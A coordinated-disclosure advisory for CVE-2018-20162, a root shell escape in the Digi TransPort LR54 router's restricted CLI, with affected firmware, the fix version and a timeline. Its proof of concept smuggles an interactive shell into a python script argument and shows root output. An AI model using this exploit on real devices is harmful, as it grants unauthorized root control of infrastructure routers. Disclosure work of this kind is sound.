CVE-2018-20162: Digi TransPort LR54 Restricted Shell Escape

17/02/19 — sgo

lr54

The Digi TransPort LR54 is a high speed LTE router commonly used by industry, infrastructure, retail and public transportation.

It supports running python scripts in a restricted sandbox, and has a custom shell accessible over SSH which is subjected to the same restrictions. The underlying OS is therefore inaccessible to the administrator.

I’ve found a way to break out of the sandbox and obtaining a root shell by exploiting the way the cli handles command line arguments when executing python scripts:

When an interactive python process receives a SIGINT (trough CTRL-C), arguments to the script are not properly escaped when passed to the interactive CLI’s error logging handler. This allows an attacker to execute arbitrary commands as root.

To exploit this vulnerability, an attacker needs to have interactive CLI access with ‘super’ privileges. A user with this access level is enabled by default on the device.

Vulnerable

Digi Transport LR54 (and maybe related products like WR64 and WR54)

Firmware Version : 4.4.0.26 10/29/2018 21:14:06
Firmware Version : 4.3.2.24 09/06/2018 00:58:34

And maybe earlier versions

Mitigation

Users should upgrade to firmware version 4.5.1.4 or newer.

Proof of Concept

Upload sleep.py to the LR54 using scp or sftp, containing:
```
import time;time.sleep(10)
```
Execute the following command in the LR54 cli:
```
python sleep.py --XXX $(/bin/sh -i >&2)
```
Immediately press CTRL-C after the program starts

You are then dropped to an interactive root shell

/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)

Timeline

2018-12-13: Vulnerability discovered
2018-12-14: PoC created, Vendor notified
2018-12-14: Vendor confirmed, 60 day embargo. Applied for CVE.
2018-12-15: CVE-2018-20162 assigned
2018-12-31: Received pre-release firmware. Confirmed not vulnerable.
2019-01-02: Vendor releases fixed firmware 4.5.1.4
2019-01-25: Vendor updated release notes to reference CVE-2018-20162
2019-02-13: Vendor ok’ed disclosure, Embargo lifted

References

Credits

Vulnerability discovered by Stig Palmquist.

Thanks to @duniel_pls and @alexanderkjall for reviewing this report.